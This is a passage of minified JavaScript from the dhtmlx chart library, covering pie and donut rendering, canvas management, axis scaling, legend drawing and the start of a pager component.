h=[\"#c4c4c4\",\"#c6c6c6\",\"#cacaca\",\"#dcdcdc\",\"#dddddd\",\"#e0e0e0\",\"#eeeeee\",\"#f5f5f5\",\"#f8f8f8\"];for(var e=h.length-1;e>-1;e--){c.beginPath();c.fillStyle=h[e];c.arc(a+1,l+1,g+e,0,Math.PI*2,true);c.fill()}c.globalAlpha=1},_getGrayGradient:function(a){a.addColorStop(0,\"#ffffff\");a.addColorStop(0.7,\"#7a7a7a\");a.addColorStop(1,\"#000000\");return a},_showRadialGradient:function(e,c,m,a,g,h){e.beginPath();var l;if(typeof this._settings.gradient!=\"function\"){l=e.createRadialGradient(g,h,a/4,c,m,a);l=this._getGrayGradient(l)}else{l=this._settings.gradient(l)}e.fillStyle=l;e.arc(c,m,a,0,Math.PI*2,true);e.fill();e.globalAlpha=0.7},_drawSectorLabel:function(D,c,g,w,v,E,u,a){var s=this.canvases[0].renderText(0,0,u,0,1);if(!s){return}var F=s.scrollWidth;s.style.width=F+\"px\";if(F>D){F=D}var A=(v-w<0.2?4:8);if(a){A=F/1.8}var e=w+(v-w)/2;g=g-(A-8)/2;var n=-A;var m=-8;var C=\"right\";if(e>=Math.PI/2&&e<Math.PI||e<=3*Math.PI/2&&e>=Math.PI){n=-F-n+1;C=\"left\"}var h=0;if(!a&&E<1&&(e>0&&e<Math.PI)){h=(this._settings.height||Math.floor(g/4))/E}var o=(c+Math.floor((g+h)*Math.sin(e)))*E+m;var q=D+Math.floor((g+A/2)*Math.cos(e))+n;var l=(v<Math.PI/2+0.01);var r=(w<Math.PI/2);if(r&&l){q=Math.max(q,D+3)}else{if(!r&&!l){q=Math.min(q,D-F)}else{if(!a&&(e>=Math.PI/2&&e<Math.PI||e<=3*Math.PI/2&&e>=Math.PI)){q+=F/3}}}s.style.top=o+\"px\";s.style.left=q+\"px\";s.style.width=F+\"px\";s.style.textAlign=C;s.style.whiteSpace=\"nowrap\"}};dhtmlx.chart.pie3D={pvt_render_pie3D:function(c,g,a,l,e,h){this._renderPie(c,g,a,l,this._settings.cant,h)}};dhtmlx.chart.donut={pvt_render_donut:function(s,h,q,o,m,c){if(!h.length){return}this._renderPie(s,h,q,o,1,c);var g=this._settings;var l=this._getPieParameters(q,o);var a=(g.radius?g.radius:l.radius);var n=((g.innerRadius&&(g.innerRadius<a))?g.innerRadius:a/3);var e=(g.x?g.x:l.x);var r=(g.y?g.y:l.y);s.fillStyle=\"#ffffff\";s.beginPath();s.arc(e,r,n,0,Math.PI*2,true);s.fill()}};dhtmlx.DataDriver.dhtmlxgrid={_grid_getter:\"_get_cell_value\",toObject:function(a){this._grid=a;return a},getRecords:function(a){return a.rowsBuffer},getDetails:function(e){var a={};for(var c=0;c<this._grid.getColumnsNum();c++){a[\"data\"+c]=this._grid[this._grid_getter](e,c)}return a},getInfo:function(a){return{_size:0,_from:0}}};dhtmlx.ui.Canvas=function(c,e,h){this._canvas_labels=[];this._canvas_name=e;this._obj=c;var g=c.offsetWidth*(window.devicePixelRatio||1);var a=c.offsetHeight*(window.devicePixelRatio||1);var h=h||\"\";h+=\";width:\"+c.offsetWidth+\"px;height:\"+c.offsetHeight+\"px;\";this._prepareCanvas(e,h,g,a)};dhtmlx.ui.Canvas.prototype={_prepareCanvas:function(c,g,e,a){this._canvas=dhtmlx.html.create(\"canvas\",{width:e,height:a,canvas_id:c,style:(g||\"\")});this._obj.appendChild(this._canvas);if(!this._canvas.getContext){if(dhtmlx._isIE){dhtmlx.require(\"thirdparty/excanvas/excanvas.js\");G_vmlCanvasManager.init_(document);G_vmlCanvasManager.initElement(this._canvas)}else{dhtmlx.error(\"Canvas is not supported in the current browser\")}}return this._canvas},getCanvas:function(c){var a=(this._canvas||this._prepareCanvas()).getContext(c||\"2d\");if(!this._webixDevicePixelRatio){this._webixDevicePixelRatio=true;a.scale(window.devicePixelRatio||1,window.devicePixelRatio||1)}return a},_resizeCanvas:function(){if(this._canvas){var a=this._canvas.parentNode.offsetWidth;var c=this._canvas.parentNode.offsetHeight;this._canvas.setAttribute(\"width\",a*(window.devicePixelRatio||1));this._canvas.setAttribute(\"height\",c*(window.devicePixelRatio||1));this._canvas.style.width=a+\"px\";this._canvas.style.height=c+\"px\";this._webixDevicePixelRatio=false}},renderText:function(a,l,h,g,c){if(!h){return}var e=dhtmlx.html.create(\"DIV\",{\"class\":\"dhx_canvas_text\"+(g?(\" \"+g):\"\"),style:\"left:\"+a+\"px; top:\"+l+\"px;\"},h);this._obj.appendChild(e);this._canvas_labels.push(e);if(c){e.style.width=c+\"px\"}return e},renderTextAt:function(h,o,a,n,g,m,e){var l=this.renderText.call(this,a,n,g,m,e);if(l){if(h){if(h==\"middle\"){l.style.top=parseInt(n-l.offsetHeight/2,10)+\"px\"}else{l.style.top=n-l.offsetHeight+\"px\"}}if(o){if(o==\"left\"){l.style.left=a-l.offsetWidth+\"px\"}else{l.style.left=parseInt(a-l.offsetWidth/2,10)+\"px\"}}}return l},clearCanvas:function(a){var c=[],e;for(e=0;e<this._canvas_labels.length;e++){this._obj.removeChild(this._canvas_labels[e])}this._canvas_labels=[];if(!a&&this._obj._htmlmap){c=this._getMapAreas();while(c.length){c[0].parentNode.removeChild(c[0]);c.splice(0,1)}c=null;if(!this._obj._htmlmap.getElementsByTagName(\"AREA\").length){this._obj._htmlmap.parentNode.removeChild(this._obj._htmlmap);this._obj._htmlmap=null}}this.getCanvas().clearRect(0,0,this._obj.offsetWidth*(window.devicePixelRatio||1),this._obj.offsetWidth*(window.devicePixelRatio||1))},toggleCanvas:function(){this._toggleCanvas(this._canvas.style.display==\"none\")},showCanvas:function(){this._toggleCanvas(true)},hideCanvas:function(){this._toggleCanvas(false)},_toggleCanvas:function(a){var c,e;for(e=0;e<this._canvas_labels.length;e++){this._canvas_labels[e].style.display=(a?\"\":\"none\")}if(this._obj._htmlmap){c=this._getMapAreas();for(e=0;e<c.length;e++){if(a){c[e].removeAttribute(\"disabled\")}else{c[e].setAttribute(\"disabled\",\"true\")}}}this._canvas.style.display=(a?\"\":\"none\")},_getMapAreas:function(){var e=[],a,c;a=this._obj._htmlmap.getElementsByTagName(\"AREA\");for(c=0;c<a.length;c++){if(a[c].getAttribute(\"userdata\")==this._canvas_name){e.push(a[c])}}return e}};dhtmlXChart=function(a){this.name=\"Chart\";if(dhtmlx.assert_enabled()){this._assert()}dhtmlx.extend(this,dhtmlx.Settings);this._parseContainer(a,\"dhx_chart\");dhtmlx.extend(this,dhtmlx.AtomDataLoader);dhtmlx.extend(this,dhtmlx.DataLoader);this.data.provideApi(this,true);dhtmlx.extend(this,dhtmlx.EventSystem);dhtmlx.extend(this,dhtmlx.MouseEvents);dhtmlx.extend(this,dhtmlx.Destruction);dhtmlx.extend(this,dhtmlx.Group);dhtmlx.extend(this,dhtmlx.AutoTooltip);for(var c in dhtmlx.chart){dhtmlx.extend(this,dhtmlx.chart[c])}if(a.preset){this.definePreset(a)}this._parseSettings(a,this.defaults);this._series=[this._settings];this.data.attachEvent(\"onStoreUpdated\",dhtmlx.bind(function(){this.render()},this));this.attachEvent(\"onLocateData\",this._switchSerie)};dhtmlXChart.prototype={_id:\"dhx_area_id\",on_click:{dhx_chart_legend_item:function(m,n,l){var h=l.getAttribute(\"series_id\");if(this.callEvent(\"onLegendClick\",[m,h,l])){var g=this._settings;var c=g.legend.values;var a=(c&&(typeof c[h].toggle!=\"undefined\"))?c[h].toggle:g.legend.toggle;if((typeof h!=\"undefined\")&&this._series.length>1){if(a){if(l.className.indexOf(\"hidden\")!=-1){this.showSeries(h)}else{this.hideSeries(h)}}}}}},on_dblclick:{},on_mouse_move:{},bind:function(){dhx.BaseBind.legacyBind.apply(this,arguments)},sync:function(){dhx.BaseBind.legacySync.apply(this,arguments)},resize:function(){for(var a in this.canvases){this.canvases[a]._resizeCanvas()}this.render()},view_setter:function(a){if(!dhtmlx.chart[a]){dhtmlx.error(\"Chart type extension is not loaded: \"+a)}if(typeof this._settings.offset==\"undefined\"){this._settings.offset=!(a==\"area\"||a==\"stackedArea\")}if(a==\"radar\"&&!this._settings.yAxis){this.define(\"yAxis\",{})}if(a==\"scatter\"){if(!this._settings.yAxis){this.define(\"yAxis\",{})}if(!this._settings.xAxis){this.define(\"xAxis\",{})}}return a},clearCanvas:function(){if(this.canvases&&typeof this.canvases==\"object\"){for(var a in this.canvases){this.canvases[a].clearCanvas()}}},render:function(){var e,c,g,h,a;if(!this.callEvent(\"onBeforeRender\",[this.data])){return}if(this.canvases&&typeof this.canvases==\"object\"){for(c in this.canvases){this.canvases[c].clearCanvas()}}else{this.canvases={}}if(this._settings.legend){if(!this.canvases.legend){this.canvases.legend=new dhtmlx.ui.Canvas(this._obj,\"legend\")}this._drawLegend(this.data.getRange(),this._obj.offsetWidth)}e=this._getChartBounds(this._obj.offsetWidth,this._obj.offsetHeight);h=new dhtmlx.ui.Map(this._id);a=this._settings;g=this._getChartData();for(c=0;c<this._series.length;c++){this._settings=this._series[c];if(!this.canvases[c]){this.canvases[c]=new dhtmlx.ui.Canvas(this._obj,c,\"z-index:\"+(2+c))}this[\"pvt_render_\"+this._settings.view](this.canvases[c].getCanvas(),g,e.start,e.end,c,h)}h.render(this._obj);this._obj.lastChild.style.zIndex=1000;this._applyBounds(this._obj.lastChild,e);this.callEvent(\"onAfterRender\",[]);this._settings=a},_applyBounds:function(e,c){var a={};a.left=c.start.x;a.top=c.start.y;a.width=c.end.x-c.start.x;a.height=c.end.y-c.start.y;for(var g in a){e.style[g]=a[g]+\"px\"}},_getChartData:function(){var g,m,e,h,l,q,a,n,o,c;h=this.data.getRange();g=(this._settings.view.toLowerCase().indexOf(\"barh\")!=-1?\"yAxis\":\"xAxis\");m=this._settings[g];if(m&&m.units&&(typeof m.units==\"object\")){e=m.units;n=[];if(typeof e.start!=\"undefined\"&&typeof e.end!=\"undefined\"&&typeof e.next!=\"undefined\"){a=e.start;while(a<=e.end){n.push(a);a=e.next.call(this,a)}}else{if(Object.prototype.toString.call(e)===\"[object Array]\"){n=e}}q=[];if(n.length){o=m.value;c={};for(l=0;l<h.length;l++){c[o(h[l])]=l}for(l=0;l<n.length;l++){if(typeof c[n[l]]!=\"undefined\"){h[c[n[l]]].$unit=n[l];q.push(h[c[n[l]]])}else{q.push({$unit:n[l]})}}}return q}return h},value_setter:dhtmlx.Template.obj_setter,xValue_setter:dhtmlx.Template.obj_setter,yValue_setter:function(a){this.define(\"value\",a)},alpha_setter:dhtmlx.Template.obj_setter,label_setter:dhtmlx.Template.obj_setter,lineColor_setter:dhtmlx.Template.obj_setter,borderColor_setter:dhtmlx.Template.obj_setter,pieInnerText_setter:dhtmlx.Template.obj_setter,gradient_setter:function(a){if((typeof(a)!=\"function\")&&a&&(a===true)){a=\"light\"}return a},colormap:{RAINBOW:function(a){var c=Math.floor(this.indexById(a.id)/this.dataCount()*1536);if(c==1536){c-=1}return this._rainbow[Math.floor(c/256)](c%256)}},color_setter:function(a){return this.colormap[a]||dhtmlx.Template.obj_setter(a)},fill_setter:function(a){return((!a||a==0)?false:dhtmlx.Template.obj_setter(a))},definePreset:function(a){this.define(\"preset\",a.preset);delete a.preset},preset_setter:function(h){var e,c,g;this.defaults=dhtmlx.extend({},this.defaults);if(typeof dhtmlx.presets.chart[h]==\"object\"){g=dhtmlx.presets.chart[h];for(e in g){if(typeof g[e]==\"object\"){if(!this.defaults[e]||typeof this.defaults[e]!=\"object\"){this.defaults[e]=dhtmlx.extend({},g[e])}else{this.defaults[e]=dhtmlx.extend({},this.defaults[e]);for(c in g[e]){this.defaults[e][c]=g[e][c]}}}else{this.defaults[e]=g[e]}}return h}return false},legend_setter:function(a){if(!a){if(this.legendObj){this.legendObj.innerHTML=\"\";this.legendObj=null}return false}if(typeof(a)!=\"object\"){a={template:a}}this._mergeSettings(a,{width:150,height:18,layout:\"y\",align:\"left\",valign:\"bottom\",template:\"\",toggle:(this._settings.view.toLowerCase().indexOf(\"stacked\")!=-1?\"\":\"hide\"),marker:{type:\"square\",width:15,height:15,radius:3},margin:4,padding:3});a.template=dhtmlx.Template.setter(a.template);return a},defaults:{color:\"RAINBOW\",alpha:\"1\",label:false,value:\"{obj.value}\",padding:{},view:\"pie\",lineColor:\"#ffffff\",cant:0.5,width:30,labelWidth:100,line:{width:2,color:\"#1293f8\"},item:{radius:3,borderColor:\"#636363\",borderWidth:1,color:\"#ffffff\",alpha:1,type:\"r\",shadow:false},shadow:true,gradient:false,border:true,labelOffset:20,origin:\"auto\"},item_setter:function(a){if(typeof(a)!=\"object\"){a={color:a,borderColor:a}}this._mergeSettings(a,dhtmlx.extend({},this.defaults.item));var e=[\"alpha\",\"borderColor\",\"color\",\"radius\"];for(var c=0;c<e.length;c++){a[e[c]]=dhtmlx.Template.setter(a[e[c]])}return a},line_setter:function(a){if(typeof(a)!=\"object\"){a={color:a}}dhtmlx.extend(this.defaults.line,a);a=dhtmlx.extend({},this.defaults.line);a.color=dhtmlx.Template.setter(a.color);return a},padding_setter:function(a){if(typeof(a)!=\"object\"){a={left:a,right:a,top:a,bottom:a}}this._mergeSettings(a,{left:50,right:20,top:35,bottom:40});return a},xAxis_setter:function(a){if(!a){return false}if(typeof(a)!=\"object\"){a={template:a}}if(!a.value){a.value=a.template}this._mergeSettings(a,{title:\"\",color:\"#000000\",lineColor:\"#cfcfcf\",template:\"{obj}\",value:\"{obj}\",lines:true});var c=[\"lineColor\",\"template\",\"lines\",\"value\"];this._converToTemplate(c,a);this._configXAxis=dhtmlx.extend({},a);return a},yAxis_setter:function(a){this._mergeSettings(a,{title:\"\",color:\"#000000\",lineColor:\"#cfcfcf\",template:\"{obj}\",lines:true,bg:\"#ffffff\"});var c=[\"lineColor\",\"template\",\"lines\",\"bg\"];this._converToTemplate(c,a);this._configYAxis=dhtmlx.extend({},a);return a},_converToTemplate:function(a,c){for(var e=0;e<a.length;e++){c[a[e]]=dhtmlx.Template.setter(c[a[e]])}},_drawScales:function(h,g,e,m,a,c){var l=0;if(this._settings.yAxis){if(!this.canvases.y){this.canvases.y=new dhtmlx.ui.Canvas(this._obj,\"axis_y\")}l=this._drawYAxis(this.canvases.y.getCanvas(),h,g,e,m,a)}if(this._settings.xAxis){if(!this.canvases.x){this.canvases.x=new dhtmlx.ui.Canvas(this._obj,\"axis_x\")}this._drawXAxis(this.canvases.x.getCanvas(),h,g,e,c,l)}return l},_drawXAxis:function(u,l,r,q,g,o){var e=r.x-0.5;var s=parseInt((o?o:q.y),10)+0.5;var c=q.x;var m;var a=true;for(var h=0;h<l.length;h++){if(this._settings.offset===true){m=e+g/2+h*g}else{m=(h==l.length-1)?q.x:e+h*g;a=!!h}m=Math.ceil(m)-0.5;var n=((this._settings.origin!=\"auto\")&&(this._settings.view==\"bar\")&&(parseFloat(this._settings.value(l[h]))<this._settings.origin));this._drawXAxisLabel(m,s,l[h],a,n);if((this._settings.offset||h)&&this._settings.xAxis.lines.call(this,l[h])){this._drawXAxisLine(u,m,q.y,r.y,l[h])}}this.canvases.x.renderTextAt(true,false,e,q.y+this._settings.padding.bottom-3,this._settings.xAxis.title,\"dhx_axis_title_x\",q.x-r.x);this._drawLine(u,e,s,c,s,this._settings.xAxis.color,1);if(!this._settings.xAxis.lines.call(this,{})||!this._settings.offset){return}this._drawLine(u,c+0.5,q.y,c+0.5,r.y+0.5,this._settings.xAxis.color,0.2)},_drawYAxis:function(w,D,l,h,n,m){var o;var u={};if(!this._settings.yAxis){return}var y=l.x-0.5;var g=h.y;var e=l.y;var v=h.y;if(this._settings.yAxis.step){o=parseFloat(this._settings.yAxis.step)}if(typeof this._configYAxis.step==\"undefined\"||typeof this._configYAxis.start==\"undefined\"||typeof this._configYAxis.end==\"undefined\"){u=this._calculateScale(n,m);n=u.start;m=u.end;o=u.step;this._settings.yAxis.end=m;this._settings.yAxis.start=n}this._setYAxisTitle(l,h);if(o===0){m=n;o=1}var a=(m==n?g-e:(g-e)*o/(m-n));var A=0;for(var x=n;x<=m;x+=o){if(u.fixNum){x=parseFloat((new Number(x)).toFixed(u.fixNum))}var C=Math.floor(g-A*a)+0.5;if(!(x==n&&this._settings.origin==\"auto\")&&this._settings.yAxis.lines.call(this,x)){this._drawLine(w,y,C,h.x,C,this._settings.yAxis.lineColor.call(this,x),1)}if(x==this._settings.origin){v=C}var q=x;if(o<1){var r=Math.min(this._log10(o),(n<=0?0:this._log10(n)));var s=Math.pow(10,-r);q=Math.round(x*s)/s;x=q}this.canvases.y.renderText(0,C-5,this._settings.yAxis.template(q.toString()),\"dhx_axis_item_y\",l.x-5);A++}this._drawLine(w,y,g+1,y,e,this._settings.yAxis.color,1);return v},_setYAxisTitle:function(e,c){var a=\"dhx_axis_title_y\"+(dhtmlx._isIE&&dhtmlx._isIE!=9?\" dhx_ie_filter\":\"\");var g=this.canvases.y.renderTextAt(\"middle\",false,0,parseInt((c.y-e.y)/2+e.y,10),this._settings.yAxis.title,a);if(g){g.style.left=(dhtmlx.env.transform?(g.offsetHeight-g.offsetWidth)/2:0)+\"px\"}},_calculateScale:function(q,c){if(this._settings.origin!=\"auto\"&&this._settings.origin<q){q=this._settings.origin}var h,g,m;h=((c-q)/8)||1;var e=Math.floor(this._log10(h));var a=Math.pow(10,e);var l=h/a;l=(l>5?10:5);h=parseInt(l,10)*a;if(h>Math.abs(q)){g=(q<0?-h:0)}else{var r=Math.abs(q);var o=Math.floor(this._log10(r));var n=r/Math.pow(10,o);g=Math.ceil(n*10)/10*Math.pow(10,o)-h;if(r>1&&h>0.1){g=Math.ceil(g)}while(q<0?g<=q:g>=q){g-=h}if(q<0){g=-g-2*h}}m=g;while(m<c){m+=h;m=parseFloat((new Number(m)).toFixed(Math.abs(e)))}return{start:g,end:m,step:h,fixNum:Math.abs(e)}},_getLimits:function(c,m){var n,l;var h=((arguments.length&&c==\"h\")?this._configXAxis:this._configYAxis);m=m||\"value\";if(h&&(typeof h.end!=\"undefined\")&&(typeof h.start!=\"undefined\")&&h.step){n=parseFloat(h.end);l=parseFloat(h.start)}else{n=this.max(this._series[0][m]);l=(h&&(typeof h.start!=\"undefined\"))?parseFloat(h.start):this.min(this._series[0][m]);if(this._series.length>1){for(var g=1;g<this._series.length;g++){var a=this.max(this._series[g][m]);var e=this.min(this._series[g][m]);if(a>n){n=a}if(e<l){l=e}}}}return{max:n,min:l}},_log10:function(c){var a=\"log\";return Math.floor((Math[a](c)/Math.LN10))},_drawXAxisLabel:function(c,l,h,a,g){if(!this._settings.xAxis){return}var e=this.canvases.x.renderTextAt(g,a,c,l-(g?2:0),this._settings.xAxis.template(h));if(e){e.className+=\" dhx_axis_item_x\"}},_drawXAxisLine:function(c,a,g,e,h){if(!this._settings.xAxis||!this._settings.xAxis.lines){return}this._drawLine(c,a,g,a,e,this._settings.xAxis.lineColor.call(this,h),1)},_drawLine:function(a,g,m,e,h,c,l){a.strokeStyle=c;a.lineWidth=l;a.beginPath();a.moveTo(g,m);a.lineTo(e,h);a.stroke();a.lineWidth=1},_getRelativeValue:function(g,h){var e,a;var c=1;if(h!=g){e=h-g}else{e=g}return[e,c]},_rainbow:[function(a){return\"#FF\"+dhtmlx.math.toHex(a/2,2)+\"00\"},function(a){return\"#FF\"+dhtmlx.math.toHex(a/2+128,2)+\"00\"},function(a){return\"#\"+dhtmlx.math.toHex(255-a,2)+\"FF00\"},function(a){return\"#00FF\"+dhtmlx.math.toHex(a,2)},function(a){return\"#00\"+dhtmlx.math.toHex(255-a,2)+\"FF\"},function(a){return\"#\"+dhtmlx.math.toHex(a,2)+\"00FF\"}],addSeries:function(c){var a=this._settings;this._settings=dhtmlx.extend({},a);this._parseSettings(c,{});this._series.push(this._settings);this._settings=a},_switchSerie:function(g,a){var e;this._active_serie=a.getAttribute(\"userdata\");if(!this._series[this._active_serie]){return}for(var c=0;c<this._series.length;c++){e=this._series[c].tooltip;if(e){e.disable()}}if(!a.getAttribute(\"disabled\")){e=this._series[this._active_serie].tooltip;if(e){e.enable()}}},hideSeries:function(a){this.canvases[a].hideCanvas();if(this._settings.legend.values&&this._settings.legend.values[a]){this._settings.legend.values[a].$hidden=true}this._drawLegend()},showSeries:function(a){this.canvases[a].showCanvas();if(this._settings.legend.values&&this._settings.legend.values[a]){delete this._settings.legend.values[a].$hidden}this._drawLegend()},_setBorderStyles:function(a,c){var g,e;e=dhtmlx.math.toRgb(c);g=dhtmlx.math.rgbToHsv(e[0],e[1],e[2]);g[2]/=2;c=\"rgb(\"+dhtmlx.math.hsvToRgb(g[0],g[1],g[2])+\")\";a.strokeStyle=c;if(a.globalAlpha==1){a.globalAlpha=0.9}},_drawLegend:function(g,c){var h,q,w,r,l,s,a,n=0,m=0,v,o,e,u;g=g||[];c=c||this._obj.offsetWidth;v=this.canvases.legend.getCanvas();q=this._settings.legend;a=(this._settings.legend.layout!=\"x\"?\"width:\"+q.width+\"px\":\"\");if(this.legendObj){this.legendObj.innerHTML=\"\";this.legendObj.parentNode.removeChild(this.legendObj)}this.canvases.legend.clearCanvas(true);w=dhtmlx.html.create(\"DIV\",{\"class\":\"dhx_chart_legend\",style:\"left:\"+n+\"px; top:\"+m+\"px;\"+a},\"\");if(q.padding){w.style.padding=q.padding+\"px\"}this.legendObj=w;this._obj.appendChild(w);l=[];if(!q.values){for(h=0;h<g.length;h++){l.push(this._drawLegendText(w,q.template(g[h])))}}else{for(h=0;h<q.values.length;h++){l.push(this._drawLegendText(w,q.values[h].text,(typeof q.values[h].id!=\"undefined\"?typeof q.values[h].id:h),q.values[h].$hidden))}}s=w.offsetWidth;r=w.offsetHeight;if(s<this._obj.offsetWidth){if(q.layout==\"x\"&&q.align==\"center\"){n=(this._obj.offsetWidth-s)/2}if(q.align==\"right\"){n=this._obj.offsetWidth-s}if(q.margin&&q.align!=\"center\"){n+=(q.align==\"left\"?1:-1)*q.margin}}if(r<this._obj.offsetHeight){if(q.valign==\"middle\"&&q.align!=\"center\"&&q.layout!=\"x\"){m=(this._obj.offsetHeight-r)/2}else{if(q.valign==\"bottom\"){m=this._obj.offsetHeight-r}}if(q.margin&&q.valign!=\"middle\"){m+=(q.valign==\"top\"?1:-1)*q.margin}}w.style.left=n+\"px\";w.style.top=m+\"px\";v.save();for(h=0;h<l.length;h++){u=l[h];if(q.values&&q.values[h].$hidden){e=true;o=(q.values[h].disableColor?q.values[h].disableColor:\"#d9d9d9\")}else{e=false;o=(q.values?q.values[h].color:this._settings.color.call(this,g[h]))}this._drawLegendMarker(v,u.offsetLeft+n,u.offsetTop+m,o,u.offsetHeight,e,h)}v.restore();l=null},_drawLegendText:function(a,h,c,g){var e=\"\";if(this._settings.legend.layout==\"x\"){e=\"float:left;\"}var l=dhtmlx.html.create(\"DIV\",{style:e+\"padding-left:\"+(10+this._settings.legend.marker.width)+\"px\",\"class\":\"dhx_chart_legend_item\"+(g?\" hidden\":\"\")},h);if(arguments.length>2){l.setAttribute(\"series_id\",c)}a.appendChild(l);return l},_drawLegendMarker:function(A,s,r,h,w,l,n){var c=[];var m=this._settings.legend.marker;var v=this._settings.legend.values;var q=(v&&v[n].markerType?v[n].markerType:m.type);if(h){A.fillStyle=h;A.strokeStyle=this._getDarkenColor(h,0.75)}A.beginPath();if(q==\"round\"||!m.radius){A.lineWidth=m.height;A.lineCap=q;s+=A.lineWidth/2+5;r+=w/2;A.moveTo(s,r);var a=s+m.width-m.height+1;A.lineTo(a,r)}else{if(q==\"item\"){if(this._settings.line&&this._settings.view!=\"scatter\"&&!this._settings.disableLines){A.beginPath();A.lineWidth=this._series[n].line.width;A.strokeStyle=l?h:this._series[n].line.color.call(this,{});var e=s+5;var u=r+w/2;A.moveTo(e,u);var a=e+m.width;A.lineTo(a,u);A.stroke()}var g=this._series[n].item;var o=parseInt(g.radius.call(this,{}),10)||0;if(o){A.beginPath();if(l){A.lineWidth=g.borderWidth;A.strokeStyle=h;A.fillStyle=h}else{A.lineWidth=g.borderWidth;A.fillStyle=g.color.call(this,{});A.strokeStyle=g.borderColor.call(this,{});A.globalAlpha=g.alpha.call(this,{})}A.beginPath();s+=m.width/2+5;r+=w/2;this._strokeChartItem(A,s,r,o+1,g.type);A.fill();A.stroke()}A.globalAlpha=1}else{A.lineWidth=1;s+=5;r+=parseInt(w/2-m.height/2,10);c=[[s+m.radius,r+m.radius,m.radius,Math.PI,3*Math.PI/2,false],[s+m.width-m.radius,r],[s+m.width-m.radius,r+m.radius,m.radius,-Math.PI/2,0,false],[s+m.width,r+m.height-m.radius],[s+m.width-m.radius,r+m.height-m.radius,m.radius,0,Math.PI/2,false],[s+m.radius,r+m.height],[s+m.radius,r+m.height-m.radius,m.radius,Math.PI/2,Math.PI,false],[s,r+m.radius]];this._path(A,c)}}A.stroke();A.fill()},_getDarkenColor:function(a,g){var e,c;c=dhtmlx.math.toRgb(a);e=dhtmlx.math.rgbToHsv(c[0],c[1],c[2]);e[2]=e[2]*g;return\"rgb(\"+dhtmlx.math.hsvToRgb(e[0],e[1],e[2])+\")\"},_getChartBounds:function(a,m){var o,e,n,c;o=this._settings.padding.left;e=this._settings.padding.top;n=a-this._settings.padding.right;c=m-this._settings.padding.bottom;if(this._settings.legend){var h=this._settings.legend;var l=this._settings.legend.width;var g=this._settings.legend.height;if(h.layout==\"x\"){if(h.valign==\"center\"){if(h.align==\"right\"){n-=l}else{if(h.align==\"left\"){o+=l}}}else{if(h.valign==\"bottom\"){c-=g}else{e+=g}}}else{if(h.align==\"right\"){n-=l}else{if(h.align==\"left\"){o+=l}}}}return{start:{x:o,y:e},end:{x:n,y:c}}},_getStackedLimits:function(h){var c,a,l,g,e;if(this._settings.yAxis&&(typeof this._settings.yAxis.end!=\"undefined\")&&(typeof this._settings.yAxis.start!=\"undefined\")&&this._settings.yAxis.step){l=parseFloat(this._settings.yAxis.end);g=parseFloat(this._settings.yAxis.start)}else{for(c=0;c<h.length;c++){h[c].$sum=0;h[c].$min=Infinity;for(a=0;a<this._series.length;a++){e=parseFloat(this._series[a].value(h[c])||0);if(isNaN(e)){continue}if(this._series[a].view.toLowerCase().indexOf(\"stacked\")!=-1){h[c].$sum+=e}if(e<h[c].$min){h[c].$min=e}}}l=-Infinity;g=Infinity;for(c=0;c<h.length;c++){if(h[c].$sum>l){l=h[c].$sum}if(h[c].$min<g){g=h[c].$min}}if(g>0){g=0}}return{max:l,min:g}},_setBarGradient:function(v,c,r,a,o,n,g,e){var q,h,m,l,u,s;if(n==\"light\"){if(e==\"x\"){q=v.createLinearGradient(c,r,a,r)}else{q=v.createLinearGradient(c,r,c,o)}s=[[0,\"#FFFFFF\"],[0.9,g],[1,g]];h=2}else{if(n==\"falling\"||n==\"rising\"){if(e==\"x\"){q=v.createLinearGradient(c,r,a,r)}else{q=v.createLinearGradient(c,r,c,o)}m=dhtmlx.math.toRgb(g);l=dhtmlx.math.rgbToHsv(m[0],m[1],m[2]);l[1]*=1/2;u=\"rgb(\"+dhtmlx.math.hsvToRgb(l[0],l[1],l[2])+\")\";if(n==\"falling\"){s=[[0,u],[0.7,g],[1,g]]}else{if(n==\"rising\"){s=[[0,g],[0.3,g],[1,u]]}}h=0}else{v.globalAlpha=0.37;h=0;if(e==\"x\"){q=v.createLinearGradient(c,o,c,r)}else{q=v.createLinearGradient(c,r,a,r)}s=[[0,\"#9d9d9d\"],[0.3,\"#e8e8e8\"],[0.45,\"#ffffff\"],[0.55,\"#ffffff\"],[0.7,\"#e8e8e8\"],[1,\"#9d9d9d\"]]}}this._gradient(q,s);return{gradient:q,offset:h}},_getPositionByAngle:function(e,c,h,g){e*=(-1);c=c+Math.cos(e)*g;h=h-Math.sin(e)*g;return{x:c,y:h}},_gradient:function(e,c){for(var a=0;a<c.length;a++){e.addColorStop(c[a][0],c[a][1])}},_path:function(a,e){var c,g;for(c=0;c<e.length;c++){g=(c?\"lineTo\":\"moveTo\");if(e[c].length>2){g=\"arc\"}a[g].apply(a,e[c])}},_circle:function(c,a,g,e){c.arc(a,g,e,Math.PI*2,true)},_addMapRect:function(g,h,a,e,c){g.addRect(h,[a[0].x-e.x,a[0].y-e.y,a[1].x-e.x,a[1].y-e.y],c)}};dhtmlx.compat(\"layout\");if(typeof(window.dhtmlXCellObject)!=\"undefined\"){dhtmlXCellObject.prototype.attachChart=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"chart\"]);var c=document.createElement(\"DIV\");c.id=\"dhxChartObj_\"+window.dhx4.newId();c.style.width=\"100%\";c.style.height=\"100%\";document.body.appendChild(c);this._attachObject(c);a.container=c.id;this.dataType=\"chart\";this.dataObj=new dhtmlXChart(a);if(!this.dataObj.setSizes){this.dataObj.setSizes=function(){if(this.resize){this.resize()}else{this.render()}}}return this.dataObj}}dhtmlx.ui.pager=function(a){this.name=\"Pager\";if(dhtmlx.assert_enabled()){this._assert()}dhtmlx.extend(this,dhtmlx.Settings);this._parseContainer(a,\"dhx_pager\");dhtmlx.extend(this,dhtmlx.EventSystem);dhtmlx.extend(this,dhtmlx.SingleRender);dhtmlx.extend(this,dhtmlx.MouseEvents);this._parseSettings(a,{size:10,page:-1,group:5,count:0,type:\"default\"});this.data=this._settings;this.refresh()};dhtmlx.ui.pager.prototype={_id:\"dhx_p_id\",on_click:{dhx_pager_item:function(a,c){this.select(c)}},select:function(a){switch(a){case\"next\":a=this._settings.page+1;break;case\"prev\":a=this._settings.page-1;break;case\"first\":a=0;break;case\"last\":a=this._settings.limit-1;break;default:break}if(a<0){a=0}if(a>=this.data.limit){a=this.data.limit-1}if(this.callEvent(\"onBeforePageChange\",[this._settings.page,a])){this.data.page=a*1;this.refresh();this.callEvent(\"onAfterPageChange\",[a])}},types:{\"default\":{template:dhtmlx.Template.fromHTML(\"{common.pages()}\"),pages:function(e){var 